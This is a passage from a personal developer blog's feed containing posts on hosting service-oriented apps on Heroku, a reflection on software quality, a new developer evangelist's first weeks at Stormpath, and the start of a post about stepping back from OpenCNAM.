&lt;a href="https://www.heroku.com/" title="Heroku">Heroku&lt;/a> is quite possibly the best platform for hosting service oriented
web apps.&lt;/p>
&lt;p>If you&amp;rsquo;re not already familiar with &lt;a href="https://www.heroku.com/" title="Heroku">Heroku&lt;/a>, it&amp;rsquo;s an incredibly great
platform as a service company that hosts all your web apps in the simplest,
most best practices way possible.&lt;/p>
&lt;p>If you haven&amp;rsquo;t tried it, you might want to go ahead and read their
&lt;a href="https://devcenter.heroku.com/articles/quickstart" title="Getting Started with Heroku">quickstart&lt;/a>, or possibly one of my &lt;a href="https://rdegges.com/2012/heroku-isnt-for-idiots/" title="Heroku Isn't for Idiots">previous articles&lt;/a> on the subject to
familiarize yourself with basic Heroku concepts.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: I&amp;rsquo;m not in any way affiliated with Heroku. I have some friends who
work there, and I&amp;rsquo;ve written a &lt;a href="http://www.theherokuhackersguide.com/" title="The Heroku Hacker's Guide">book&lt;/a> on the subject, but these thoughts are
completely my own.&lt;/p>
&lt;h2 id="hosting-web-apps-is-expensive">Hosting Web Apps is Expensive&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/heroku-and-soa/sad-girl-sketch.jpg" alt="Sad Girl Sketch" title="Sad Girl Sketch">
&lt;/p>
&lt;p>Firstly, let&amp;rsquo;s talk about some basics: hosting web apps is incredibly expensive
if you&amp;rsquo;re working on anything with more than a few users.&lt;/p>
&lt;p>How so?&lt;/p>
&lt;p>Well, modern web apps require a great many infrastructure components to run
successfully. For almost every app I can think of, some (or all) of the
following components will be necessary:&lt;/p>
&lt;ul>
&lt;li>Web servers to run your app code.&lt;/li>
&lt;li>Message queue servers to handle messaging inside your app.&lt;/li>
&lt;li>Worker servers to run your worker code, which process asynchronous events.&lt;/li>
&lt;li>Database servers (&lt;em>in many cases, of different technologies&lt;/em>), to store your
app&amp;rsquo;s data.&lt;/li>
&lt;li>Cache servers, to cache information which is too slow to repeatedly pull out
of your database servers.&lt;/li>
&lt;li>File servers, to store files that are frequently accessed (&lt;em>images, static
assets, user uploaded media, etc.&lt;/em>).&lt;/li>
&lt;li>Continuous integration servers to test and deploy your code onto these
servers.&lt;/li>
&lt;li>Configuration management servers to handle synchronization of these other
infrastructure components across a network.&lt;/li>
&lt;/ul>
&lt;p>And these are just the basics! With all the apps I&amp;rsquo;ve built and worked on, I&amp;rsquo;d
be hard pressed to find one project that &lt;em>doesn&amp;rsquo;t&lt;/em> utilize the above resources
in one way or another.&lt;/p>
&lt;p>If you consider the cost of running all the tools and services above to power
your app, you&amp;rsquo;re looking at a hefty hosting bill (&lt;em>not to mention
hundreds or thousands of hours of your own time&lt;/em>).&lt;/p>
&lt;h2 id="soa-can-be-more-expensive">SOA Can Be More Expensive&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/heroku-and-soa/thief-face-sketch.png" alt="Thief Face Sketch" title="Thief Face Sketch">
&lt;/p>
&lt;p>While it is semi-intuitive that running web apps is expensive, not too many
people consider the following: if you&amp;rsquo;re building a service oriented app, you
might very well be doubling or tripling the cost of running your service!&lt;/p>
&lt;p>&lt;em>But why?&lt;/em>&lt;/p>
&lt;p>When you build service oriented web apps, you&amp;rsquo;re essentially doing a few things:&lt;/p>
&lt;ul>
&lt;li>Spending time upfront to architect a distributed app.&lt;/li>
&lt;li>Spending time developing many small API services, which are each responsible
for a single purpose.&lt;/li>
&lt;li>Deploying each service in an isolated environment.&lt;/li>
&lt;li>Provisioning whatever infrastructure tools your services require (&lt;em>databases,
caches, etc.&lt;/em>).&lt;/li>
&lt;/ul>
&lt;p>And &amp;ndash; since services are typically deployed independently of one another, you
tend to need more servers running your code than you would if you had a single,
monolithic app (&lt;em>even if you have a small service, it&amp;rsquo;ll most likely be running
on it&amp;rsquo;s own server&lt;/em>).&lt;/p>
&lt;p>Ouch!&lt;/p>
&lt;h2 id="sidenote-herokus-pricing">Sidenote: Heroku&amp;rsquo;s Pricing&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/heroku-and-soa/plant-sketch.png" alt="Plant Sketch" title="Plant Sketch">
&lt;/p>
&lt;p>Before continuing, I&amp;rsquo;d like to quickly discuss Heroku&amp;rsquo;s &lt;a href="https://www.heroku.com/pricing" title="Heroku Pricing">pricing&lt;/a>.&lt;/p>
&lt;p>On Heroku, you can create any number of &amp;ldquo;Apps&amp;rdquo;. Apps on Heroku are essentially
services (single purpose web apps).&lt;/p>
&lt;p>Each Heroku App you create gets a single free &amp;ldquo;Dyno&amp;rdquo; free each month (&lt;em>think of a
Dyno as a web server&lt;/em>).&lt;/p>
&lt;p>After your free Dyno, you begin paying by the second for Dynos you provision.
So if you run two Dynos for a solid month, you&amp;rsquo;d only be paying full price for a
single Dyno (roughly $34.50).&lt;/p>
&lt;p>Heroku also allows you to provision additional infrastructure services through
their &lt;a href="https://addons.heroku.com/" title="Heroku Addons">Addon marketplace&lt;/a>. The way this works is simple: Heroku has a number
of third party vendors which provide instantly provisioned infrastructure
services and per-second billing.&lt;/p>
&lt;p>Let&amp;rsquo;s say you want to add a small &lt;a href="http://www.postgresql.org/" title="PostgreSQL">Postgres&lt;/a> database to your Heroku App. You
could provision the &lt;a href="https://addons.heroku.com/heroku-postgresql" title="Heroku Postgres">heroku-postgresql&lt;/a> Addon, pick what size you want, and
pay for only the amount of seconds that Addon is active. Each Addon has its own
pricing, but it&amp;rsquo;s very easy to determine how much each Addon costs.&lt;/p>
&lt;h2 id="why-herokus-pricing-is-awesome-for-soa">Why Heroku&amp;rsquo;s Pricing is Awesome for SOA&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/heroku-and-soa/angry-tiger-sketch.jpg" alt="Angry Tiger Sketch" title="Angry Tiger Sketch">
&lt;/p>
&lt;p>Ok, now we&amp;rsquo;re back on topic! Hopefully you can already see where this is going.&lt;/p>
&lt;p>Since Heroku allows you to provision many Apps, and each App gets a free Dyno,
&lt;strong>Heroku is actively encouraging you to build service oriented apps&lt;/strong>, whether
you like it &lt;em>or not&lt;/em>!&lt;/p>
&lt;p>Let&amp;rsquo;s say you&amp;rsquo;re building a web app composed of 10 different web services. If
you deployed each of these 10 services on Heroku, you&amp;rsquo;d be getting 10 free web
servers (&lt;em>Dynos&lt;/em>)! That&amp;rsquo;s a pretty insane free tier.&lt;/p>
&lt;p>If you total it up, you&amp;rsquo;d be saving roughly $345 per month (&lt;em>the cost of running
10 paid Dynos&lt;/em>).&lt;/p>
&lt;p>That&amp;rsquo;s a lot of money saved!&lt;/p>
&lt;p>Furthermore &amp;ndash; since each Dyno is capable of handling quite a bit of concurrent
traffic, depending on what each service does, you might be able to get ~1,000
requests per second out of each service you deploy&amp;hellip; &lt;strong>For $0.&lt;/strong>&lt;/p>
&lt;p>Is there any other provider out there with such an attractive offering for
service oriented web apps? If there is, I haven&amp;rsquo;t found them.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: When I was building &lt;a href="https://www.opencnam.com/" title="OpenCNAM">OpenCNAM&lt;/a>, I was able to get nearly 1,500
requests per second out of each Dyno using a &lt;a href="https://www.python.org/" title="Python">Python&lt;/a> / &lt;a href="http://flask.pocoo.org/" title="Flask">Flask&lt;/a> stack.
Needless to say, Heroku has served me very well.&lt;/p>
&lt;h2 id="heroku-and-vendor-lock-in">Heroku and Vendor Lock In&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/heroku-and-soa/jail-sketch.jpg" alt="Jail Sketch" title="Jail Sketch">
&lt;/p>
&lt;p>One of the other great reasons to use Heroku for service oriented apps is the
lack of vendor lock in.&lt;/p>
&lt;p>Heroku&amp;rsquo;s platform is as open as it can be:&lt;/p>
&lt;ul>
&lt;li>The way your Dynos work is clearly documented.&lt;/li>
&lt;li>You can easily build and tweak the way Heroku deploys and runs your App (check
out the &lt;a href="https://devcenter.heroku.com/articles/buildpacks" title="Heroku Buildpacks">buildpack docs&lt;/a> for more info). The best part about this is that
Heroku can run apps written in almost any language imaginable!&lt;/li>
&lt;li>All App configuration is done via environment variables (&lt;em>which is the best
way to configure applications regardless&lt;/em>).&lt;/li>
&lt;li>Heroku requires no special setup or code to be inserted into your project
(&lt;em>except for a very minimal &lt;a href="https://devcenter.heroku.com/articles/procfile" title="Heroku Procfile">Procfile&lt;/a>, which simply tells Heroku what
command to run to launch your App&lt;/em>).&lt;/li>
&lt;/ul>
&lt;p>When I first migrated a large &lt;a href="https://www.djangoproject.com/" title="Django">Django&lt;/a> service from Rackspace to Heroku, I was
surprised that in only a few minutes I was able to move the entire thing over!&lt;/p>
&lt;p>To me, lock in is an incredibly important part of choosing a provider for
service oriented applications, primarily because many services grow in scope and
requirements as time goes on.&lt;/p>
&lt;p>For instance, I was working on a small service a while ago that transcoded
video. When I first launched the service, I ran it on Heroku. After realizing
that I needed much larger CPUs than what was available, however, I ended up
moving that transcoding service onto a physical machine in a data center.&lt;/p>
&lt;p>If I was relying heavily on vendor specific functionality, my move could have
been a nightmare. Since Heroku has zero vendor lock in, it was painless for me
to move off when I needed to.&lt;/p>
&lt;h2 id="herokus-open-source-tooling">Heroku&amp;rsquo;s Open Source Tooling&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/heroku-and-soa/scythe-sketch.jpg" alt="Scythe Sketch" title="Scythe Sketch">
&lt;/p>
&lt;p>Another interesting thing about Heroku is their open source tooling. Heroku has
hundreds of public repos on their &lt;a href="https://github.com/heroku" title="Heroku on Github">Github account&lt;/a>, several of which are
incredibly useful when building service oriented apps.&lt;/p>
&lt;p>My favorite Heroku tool for SOA developers is &lt;a href="https://github.com/ddollar/foreman" title="Foreman">Foreman&lt;/a>. Foreman is what
Heroku uses internally to run your web apps, but is also an incredibly powerful
development tool.&lt;/p>
&lt;p>One of the biggest problems that I&amp;rsquo;ve experienced when building service oriented
apps is local development and testing. It&amp;rsquo;s not exactly an easy task to run
integration tests when you need to have 10 different services all running and
configured in order to make something happen!&lt;/p>
&lt;p>This is where Foreman really shines. Foreman allows you to create a simple
&lt;code>Procfile&lt;/code> in the root of your each project, which lets you instantly boot up as
many different services as you&amp;rsquo;d like.&lt;/p>
&lt;p>For instance, if I wanted to run several services, I could define a &lt;code>Procfile&lt;/code>
which looks something like this:&lt;/p>
&lt;pre tabindex="0">&lt;code>myapp: python app.py
service1: python /path/to/some/service.py
service2: python /path/to/some/service.py
service3: python /path/to/some/service.py
service4: python /path/to/some/service.py
service4: python /path/to/some/service.py
&lt;/code>&lt;/pre>&lt;p>Then, to run all of these services concurrently, I could simply do:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> foreman start
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This would boot up each service concurrently, and assign each service a
sequential port number from 5000 upwards (&lt;em>you can also manually assign port
numbers, if you prefer&lt;/em>).&lt;/p>
&lt;p>Foreman makes it easy to test and develop against complex service oriented
architectures by simplifying the starting and stopping of services.&lt;/p>
&lt;p>For more information on Foreman, you should check out this &lt;a href="http://blog.daviddollar.org/2011/05/06/introducing-foreman.html" title="Introducing Foreman">article&lt;/a>, written
by &lt;a href="http://blog.daviddollar.org/" title="David Dollar">David Dollar&lt;/a> (&lt;em>an awesome programmer, and the creator of Foreman&lt;/em>).&lt;/p>
&lt;h2 id="final-thoughts">Final Thoughts&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/heroku-and-soa/brain-sketch.jpg" alt="Brain Sketch" title="Brain Sketch">
&lt;/p>
&lt;p>As a huge proponent of service oriented architecture, I find the topic of
deploying and scaling service oriented apps incredibly interesting.&lt;/p>
&lt;p>Over the past several years, I&amp;rsquo;ve worked on numerous SOA projects hosted in
various places, but I&amp;rsquo;ve never had an experience as good as the Heroku
experience.&lt;/p>
&lt;p>Heroku&amp;rsquo;s allowed me to single-handedly build an API service that handles
billions of requests, with 0 maintenance work, and almost no downtime, for very
little money.&lt;/p>
&lt;p>To say I&amp;rsquo;m a happy customer would be an understatement.&lt;/p>
&lt;p>My hope is that my writing here convinces you to take a look at &lt;a href="https://www.heroku.com/" title="Heroku">Heroku&lt;/a> the
next time you build a service oriented web app, so that you can feel the same
joy I do.&lt;/p>
&lt;p>As always, if you have any questions, please hit me up by &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">email&lt;/a> or
&lt;a href="https://twitter.com/rdegges" title="Randall Degges on Twitter">twitter&lt;/a>.&lt;/p>
&lt;p>-Randall&lt;/p></description></item><item><title>Quality</title><link>https://rdegges.com/2014/quality/</link><pubDate>Fri, 30 May 2014 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2014/quality/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2014/quality/warrior-with-sword-sketch.jpg" alt="Warrior with Sword Sketch" title="Warrior with Sword Sketch">
&lt;/p>
&lt;p>Since I first started working as a &lt;em>&amp;ldquo;professional developer&amp;rdquo;&lt;/em>, my primary focus
has been building a lot of different things &amp;ndash; &lt;em>fast&lt;/em>.&lt;/p>
&lt;p>Even when I was younger and spent all my free-time after school building projects,
I&amp;rsquo;d exclusively focus on building lots of little services and command line
programs without much regard for their longevity.&lt;/p>
&lt;p>I tend to get bored of working on the same thing for more than a couple of months,
and really enjoy the thrill of starting projects, building them out until I&amp;rsquo;m
satisfied, then putting them into maintenance mode and only thinking about them
occasionally.&lt;/p>
&lt;p>Unfortunately, while I&amp;rsquo;ve always put a lot of thought and consideration into the
quality of my projects, I&amp;rsquo;ve come to realize that there is &lt;em>so much more I could
do&lt;/em> to not only improve the quality of these projects, but make them more
successful, interesting, and usable.&lt;/p>
&lt;p>It is now apparent to me that my lack of discipline and interest in ruthlessly
focusing on the quality of my software (and life in general) has really been a
personal vice.&lt;/p>
&lt;p>After meeting so many great programmers and other people over the past several
years, I&amp;rsquo;ve noticed something in common with all the people I admire: they
ruthlessly focus on the quality of their projects, above all else.&lt;/p>
&lt;p>Regardless of whatever obstacles and hurdles they have to jump over to make things
happen, they find a way to do it.&lt;/p>
&lt;p>It&amp;rsquo;s not only incredibly impressive to me, but also very humbling.&lt;/p>
&lt;p>Instead of being a person who&amp;rsquo;s known for the &lt;em>quantity&lt;/em> of his output, I&amp;rsquo;d
instead like to become a person known for the &lt;em>quality&lt;/em> of his output.&lt;/p>
&lt;h2 id="what-im-aiming-for">What I&amp;rsquo;m Aiming For&lt;/h2>
&lt;p>I realize that saying vague things like &lt;em>&amp;ldquo;I intend to focus on quality over
quantity&amp;rdquo;&lt;/em> is not much use, so I&amp;rsquo;ve decided to make my journey a little more
actionable.&lt;/p>
&lt;p>For the next month, I&amp;rsquo;m going to start out simple. Every night before bed I&amp;rsquo;m
going to think about what I did during the day, and reflect on whether or not I
was satisfied with the quality of my work.&lt;/p>
&lt;p>My hope is that by bringing a focus on quality into my daily routine and
consciously thinking about it each day, I&amp;rsquo;ll be able to continuously remind
myself through the day that I &lt;em>want&lt;/em> to be focusing on the quality of my work,
and push myself to be better in that regard.&lt;/p></description></item><item><title>My Experience as a New Developer Evangelist</title><link>https://rdegges.com/2014/my-experience-as-a-new-developer-evangelist/</link><pubDate>Sat, 22 Feb 2014 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2014/my-experience-as-a-new-developer-evangelist/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2014/my-experience-as-a-new-developer-evangelist/lion-face-sketch.jpg" alt="Blah Sketch" title="Lion Face Sketch">
&lt;/p>
&lt;p>Three weeks ago I joined &lt;a href="https://stormpath.com" title="Stormpath - Simple Authentication and User Management for Developers">Stormpath&lt;/a> as a Developer Evangelist.&lt;/p>
&lt;p>This is my first Developer Evangelist job, and so far it&amp;rsquo;s been a lot different
than anything I&amp;rsquo;ve done before. As many of you know (if you&amp;rsquo;ve read my blog),
I&amp;rsquo;m a programmer, and have been programming almost every day since I was 12.&lt;/p>
&lt;p>To say that being a Developer Evangelist is different than being a programmer
would be an understatement.&lt;/p>
&lt;p>As a programmer, I&amp;rsquo;d typically wake up, grab some caffeine, then spend the rest
of the day focusing on a single task: building a feature, fixing a bug, or
handling some combination of the two.&lt;/p>
&lt;p>As a Developer Evangelist, I wake up, pick from one of the 100 available tasks,
then start knocking stuff off the todo list.&lt;/p>
&lt;p>In short, it&amp;rsquo;s crazy! If I had to sum up Developer Evangelism for any
interested programmers, I&amp;rsquo;d call it a lifestyle rather than a job.&lt;/p>
&lt;h2 id="what-i-actually-do-all-day">What I Actually Do All Day&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/my-experience-as-a-new-developer-evangelist/large-robot-sketch.jpg" alt="Large Robot Sketch" title="Large Robot Sketch">
&lt;/p>
&lt;p>I think the biggest change for me in the first few weeks has been getting used
to what I actually do everyday.&lt;/p>
&lt;p>For the first 2 weeks, in particular, although I was doing a lot of stuff, if
felt as though I was slacking off and not accomplishing anything &amp;ndash; mainly
because I wasn&amp;rsquo;t churning out code like I&amp;rsquo;m used to doing.&lt;/p>
&lt;p>I suppose all these years of development have made me feel as if when I&amp;rsquo;m not
writing code, I&amp;rsquo;m not really doing anything.&lt;/p>
&lt;p>Although I&amp;rsquo;m still struggling with this concept a bit, I&amp;rsquo;m beginning to
understand that there are definitely other things I can do to provide value in
my work, other than obsessively focusing on product :)&lt;/p>
&lt;p>The first week at work I ended up doing an array of tasks:&lt;/p>
&lt;ul>
&lt;li>Writing a simple &lt;a href="http://stormpath.com/blog/hello-stormpath" title="Hello, Stormpath!">blog post&lt;/a> about me joining the team :)&lt;/li>
&lt;li>Getting access to all our internal systems (we use Atlassian for most internal
stuff: JIRA, Confluence, etc.)&lt;/li>
&lt;li>Discussing what the goals will be for the first month (what stuff we&amp;rsquo;re going
to be doing &amp;ndash; how we&amp;rsquo;re doing to do it &amp;ndash; and why).&lt;/li>
&lt;li>Lobbying for GitHub access so I could hack up our official &lt;a href="https://github.com/stormpath/stormpath-sdk-python" title="Stormpath Python SDK">Python SDK&lt;/a> :)&lt;/li>
&lt;li>Hacking up the Python SDK: cleaning some stuff up, preparing for an official
1.0.0 release (which happened in week 2).&lt;/li>
&lt;li>Going to a nodejs meetup with my coworkers and building some random programs
for fun.&lt;/li>
&lt;li>Getting to know my coworkers (they&amp;rsquo;re all awesome, by the way).&lt;/li>
&lt;li>Planning an internal company hackathon (which is taking place this coming
week!).&lt;/li>
&lt;/ul>
&lt;p>In the next two weeks, I ended up picking up the pace and doing quite a few
other things:&lt;/p>
&lt;ul>
&lt;li>Going to roughly two meetups per week (Python, Django, and nodejs stuff so far).&lt;/li>
&lt;li>Taking ownership over our Python SDK, planning out feature sets, reviewing
code, and merging pull requests.&lt;/li>
&lt;li>Working on talks for upcoming events (I&amp;rsquo;m giving a talk on Service Oriented
Architecture at Rackspace in a couple weeks, and another talk on Password
Security at &lt;a href="http://rocket-space.com/" title="Rocket Space">Rocket Space&lt;/a>).&lt;/li>
&lt;li>Talking with lots of developers and learning what problems they&amp;rsquo;re having with
authentication stuff (you&amp;rsquo;d be surprised how hard this is).&lt;/li>
&lt;li>Helping developers out with their Python projects (I&amp;rsquo;ve dived into 3 code
bases in the past week, alone, helping people get various things working).&lt;/li>
&lt;li>Speaking with everyone at Stormpath about what they&amp;rsquo;re working on, and what
they like about it (these are interesting things to know, and make for good
articles / etc.).&lt;/li>
&lt;li>Building a new &lt;a href="https://github.com/stormpath/stormpath-flask" title="Stormpath Flask SDK">Flask SDK&lt;/a> for Stormpath, as well as a pretty neat
&lt;a href="https://github.com/stormpath/stormpath-flask-sample" title="Stormpath Flask Sample Application">sample application&lt;/a> which demonstrates how to use it.&lt;/li>
&lt;li>Planning out our soon-to-be Go SDK and command line utility.&lt;/li>
&lt;li>Lots of other stuff I&amp;rsquo;m probably forgetting.&lt;/li>
&lt;/ul>
&lt;p>Overall, there&amp;rsquo;s essentially a huge backlog of things that need to be done.
Right now this mainly consists of:&lt;/p>
&lt;ul>
&lt;li>Improving our client libraries.&lt;/li>
&lt;li>Writing better client library docs.&lt;/li>
&lt;li>Publishing interesting blog articles on our tech stack / etc.&lt;/li>
&lt;li>Building various sample applications to make our implementation simpler for
developers.&lt;/li>
&lt;li>Working on talks and presentations.&lt;/li>
&lt;li>Going to meetups, hackathons, and events, and just generally being a nice guy.&lt;/li>
&lt;/ul>
&lt;p>Overall, it appears that almost every day will be different from here on out &amp;ndash;
some days I&amp;rsquo;ll be traveling, some days I&amp;rsquo;ll be going to events and meeting
people, some days I&amp;rsquo;ll be in the office writing all day, and some days I&amp;rsquo;ll be
writing code.&lt;/p>
&lt;p>It&amp;rsquo;s definitely a change from what I&amp;rsquo;m used to, and while I&amp;rsquo;m slowly beginning
to get the hang of things, I&amp;rsquo;ve definitely got a long way to go before I get
used to things.&lt;/p>
&lt;h2 id="the-challenges">The Challenges&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/my-experience-as-a-new-developer-evangelist/bodybuilder-sketch.jpg" alt="Bodybuilder Sketch" title="Bodybuilder Sketch">
&lt;/p>
&lt;p>So far, the biggest challenge as a new Developer Evangelist has been figuring
out how to maintain a workable schedule.&lt;/p>
&lt;p>I realized after week 2 that going to multiple meetups per week, while also
trying to maintain a healthy sleep and gym schedule, as well as work from 9 -&amp;gt; 6
is almost impossible.&lt;/p>
&lt;p>Fortunately, I&amp;rsquo;m getting slightly better at this now, but maintaining a healthy
schedule is definitely looking like a challenge. I&amp;rsquo;ve heard from some other
evangelists I&amp;rsquo;ve spoken with that their health has gone down the drain as a side
effect of the job, but I refuse to let that happen to me.&lt;/p>
&lt;p>My biggest priorities in life at the moment right now are health, friends and
family, then work.&lt;/p>
&lt;p>Over the next month I&amp;rsquo;ll be doing my best to balance commitments better to
ensure things can work sustainably! This might involve changing up work hours
on some days, or maintaining a consistent sleep schedule and only scheduling
events around that &amp;ndash; not sure yet.&lt;/p>
&lt;p>Aside from the scheduling problems, the next biggest challenge is trying to
prioritize work effectively. Right now there are simply so many things to do
(articles to write, events to attend, talks to give, libraries to build, etc.)
that it&amp;rsquo;s really difficult deciding what to do, and when.&lt;/p>
&lt;p>Although I realize evangelism is a long-term game, I&amp;rsquo;d like to maximize the
effect I have, so I&amp;rsquo;m still trying to figure out what stuff is most effective,
and what stuff is valuable.&lt;/p>
&lt;h2 id="the-good">The Good&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/my-experience-as-a-new-developer-evangelist/happy-moose-sketch.jpg" alt="Happy Moose Sketch" title="Happy Moose Sketch">
&lt;/p>
&lt;p>Although I&amp;rsquo;m still figuring things out, being a Developer Evangelist for
Stormpath is definitely one of the most fun things I&amp;rsquo;ve ever done.&lt;/p>
&lt;p>It&amp;rsquo;s been pretty awesome. For years I&amp;rsquo;ve loved coding, loved being part of the
community, and loved writing &amp;ndash; but now I get to do all of those things, all
day long, and get paid for it!&lt;/p>
&lt;p>It&amp;rsquo;s pretty insane.&lt;/p>
&lt;p>It&amp;rsquo;s also really great to be able to do 100% of my work out in the open (on
GitHub), as opposed to building product in private repositories. Since I&amp;rsquo;m a
big open source guy myself, it&amp;rsquo;s really nice to be fully able to develop out
in the open, without worrying about needing to keep certain things closed
source.&lt;/p>
&lt;p>So far, this job has been great, and it&amp;rsquo;s really growing on me more as time
passes.&lt;/p>
&lt;h2 id="things-id-like-to-change">Things I&amp;rsquo;d Like to Change&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/my-experience-as-a-new-developer-evangelist/beast-sketch.jpg" alt="Beast Sketch" title="Beast Sketch">
&lt;/p>
&lt;p>While Stormpath is really great as a company, there are definitely some things
I&amp;rsquo;d like to change.&lt;/p>
&lt;p>One of the things I&amp;rsquo;d like to do is remove some of the process around shipping,
and get to a point where balancing content quality with delivery speed is a bit
better.&lt;/p>
&lt;p>Right now, we use a pretty heavy process of pushing all tasks through JIRA. Any
sort of task (product bugs, features, todos, etc.), any sort of work (writing
articles, adding stuff to docs, etc.), and any sort of review (code review,
article review, pull request review, etc.) all gets pipelined through a complex
set of JIRA rules and processes.&lt;/p>
&lt;p>As a brand new JIRA user, I&amp;rsquo;m pretty surprised by how &lt;em>heavy&lt;/em> this system feels.&lt;/p>
&lt;p>Creating tasks in JIRA, and moving through the defined Kanban process takes
seemingly forever, even for handling very minor things: adding links to the
website, cleaning up small documentation fixes, etc.&lt;/p>
&lt;p>I understand the need for process, but I think that in a lot of ways, by adding
too much process around tasks you end up with an overload of management
responsibility which just kills time.&lt;/p>
&lt;p>What I&amp;rsquo;d like to do is move non-critical stuff out of our existing system, and
into a more &lt;em>free&lt;/em> system: &lt;a href="https://trello.com/" title="Trello">Trello&lt;/a>.&lt;/p>
&lt;p>This coming week I&amp;rsquo;m going to be setting up a few simple Trello boards:&lt;/p>
&lt;ul>
&lt;li>Articles.&lt;/li>
&lt;li>Sample Applications.&lt;/li>
&lt;/ul>
&lt;p>And begin moving my tasks out of JIRA and into Trello. I think that by
offloading these less-critical, non-engineering tasks into Trello I&amp;rsquo;ll be able
to speed up the delivery of content, and make things move a lot quicker.&lt;/p>
&lt;p>The other thing I&amp;rsquo;d like to do is find a way to get everyone at Stormpath more
involved in the community at large: meetups, conferences, etc. I realized that
while everyone at Stormpath is incredibly awesome at engineering, most of them
aren&amp;rsquo;t used to getting out into community events, participating in fun stuff
outside of work, etc.&lt;/p>
&lt;p>I think that since I&amp;rsquo;m quite familiar with this stuff, it&amp;rsquo;ll be fun to get
everyone involved, and bring them into the awesomeness that is the development
community in the bay area.&lt;/p>
&lt;h2 id="closing-thoughts">Closing Thoughts&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/my-experience-as-a-new-developer-evangelist/door-sketch.jpg" alt="Door Sketch" title="Door Sketch">
&lt;/p>
&lt;p>The first few weeks as a Developer Evangelist have been pretty crazy. I&amp;rsquo;ve
learned a ton of things, and have been getting more familiar with not only what
I need to be doing, but also what works and what doesn&amp;rsquo;t.&lt;/p>
&lt;p>While I still have a long way to go before I&amp;rsquo;m satisfied with myself, I think
the past few weeks have been a good indicator that I not only really love what
I&amp;rsquo;m doing here, but that I&amp;rsquo;m doing a half-decent job.&lt;/p>
&lt;p>I&amp;rsquo;m looking forward to the next month or two, as I plan to solve some of the
problems I&amp;rsquo;ve been having, build a bunch of awesome stuff, and make a lot of
people happy.&lt;/p>
&lt;p>And oh yeah, have a lot of fun :)&lt;/p>
&lt;p>-Randall&lt;/p></description></item><item><title>Moving On</title><link>https://rdegges.com/2014/moving-on/</link><pubDate>Mon, 03 Feb 2014 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2014/moving-on/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2014/moving-on/barbarian-sketch.jpg" alt="Barbarian Sketch" title="Barbarian Sketch">
&lt;/p>
&lt;p>As I wrote &lt;a href="https://rdegges.com/2014/my-startup-a-retrospective/" title="My Startup, a Retrospective">the other day&lt;/a>, my startup &lt;a href="https://www.opencnam.com/" title="OpenCNAM - A Simple Caller ID API">OpenCNAM&lt;/a> has been doing really well
over the past two years since it&amp;rsquo;s launch, and lots of exciting things have been
happening.&lt;/p>
&lt;p>While I will always love OpenCNAM and all the amazing things we&amp;rsquo;ve accomplished
over the past few years, I&amp;rsquo;d be lying if I said I was still the best person to
move the company forward.&lt;/p>
&lt;p>Since I first got involved in the telephony industry roughly 5 years ago, I&amp;rsquo;ve
built tons and tons of services using all sorts of technologies. I&amp;rsquo;ve become
intimately familiar with all the major PBX systems. I&amp;rsquo;ve built pretty much
every possible telephony application that involves sending and receiving phone
calls and SMS messages. I&amp;rsquo;ve built all sorts of interesting open and closed
source libraries, REST APIs, and consumer facing products. I&amp;rsquo;ve written and
spoken about all sorts of things I&amp;rsquo;ve learned. I even ended up inadvertently
helping someone in Syria perform a denial-of-service attack against a wide array
of &lt;a href="https://speakerdeck.com/rdegges/bring-down-the-system-1" title="Bring Down the System! - Shutting down military phone lines to save lives, in Python.">military phone lines&lt;/a>.&lt;/p>
&lt;p>Although I&amp;rsquo;ve learned a ton and had a &lt;em>LOT&lt;/em> of fun over these past 5 years, I&amp;rsquo;ve
been slowly getting tired of building telephony services, and have been much
more interested in non-telephony services (&lt;em>APIs, in particular&lt;/em>).&lt;/p>
&lt;p>I realized a while ago that when I wake up in the morning, what really motivates
me to get up and kick ass is the thought of building and working on the most
elegant API services around, with the intent of making the world a tiny bit
better by &lt;em>completely solving&lt;/em> some annoying technical problem.&lt;/p>
&lt;p>I&amp;rsquo;ve never been much of a consumer facing product guy, but I&amp;rsquo;m all about
building developer tools. I honestly can&amp;rsquo;t think of anything more fun than
spending all of my time hacking on programming products, hanging out with other
programmers, and learning new stuff.&lt;/p>
&lt;p>With that said, I&amp;rsquo;ve officially stepped back from my day-to-day role as the CTO
of OpenCNAM, and will now only be doing advisory work as a board member. The
rest of the team will continue shipping code, negotiating telco deals, and
building the best possible Caller ID service.&lt;/p>
&lt;h2 id="adventure-seeking">Adventure Seeking&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/moving-on/mountain-sketch.jpg" alt="Mountain Sketch" title="Mountain Sketch">
&lt;/p>
&lt;p>For the past year or so I&amp;rsquo;ve been keeping my eyes open for new, exciting
opportunities. There are tons of cool tech companies around doing interesting
things, but as I was looking at my options, I realized there were actually very
few places I &lt;em>really&lt;/em> wanted to work at (or jump into).&lt;/p>
&lt;p>For a while, I was considering rolling another company from the ground up, but,
although I had a lot of ideas, I didn&amp;rsquo;t really have anything that was calling me
with great INTENSITY.&lt;/p>
